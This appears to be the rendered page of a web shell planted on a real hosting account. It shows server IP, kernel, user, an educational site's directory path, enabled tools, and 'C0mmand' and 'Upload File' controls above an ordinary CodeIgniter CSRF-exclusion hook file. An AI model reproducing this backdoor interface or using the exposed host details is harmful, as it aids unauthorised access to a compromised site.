Server IP : 192.185.129.71 / Your IP : 18.117.244.233 Web Server : Apache System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : svymadmin ( 4072) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/hooks/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php defined('BASEPATH') or exit('No direct script access allowed'); class InitModules { /** * Early init modules features */ public function handle() { include_once(__DIR__ . './../libraries/App_modules.php'); // Load the directory helper so the directory_map function can be used include_once(__DIR__ . './../../system/helpers/directory_helper.php'); foreach (\App_modules::get_valid_modules() as $module) { $excludeUrisPath = $module['path'] . 'config' . DIRECTORY_SEPARATOR . 'csrf_exclude_uris.php'; if (file_exists($excludeUrisPath)) { $uris = include_once($excludeUrisPath); if (is_array($uris)) { hooks()->add_filter('csrf_exclude_uris', function ($current) use ($uris) { return array_merge($current, $uris); }); } } } } }